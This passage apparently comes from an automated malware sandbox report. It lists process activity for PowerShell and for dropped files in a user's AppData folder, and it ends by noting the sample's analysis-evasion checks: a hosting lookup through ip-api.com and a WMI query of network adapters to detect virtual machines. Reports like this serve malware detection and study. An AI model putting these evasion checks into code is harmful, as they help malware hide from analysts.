Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
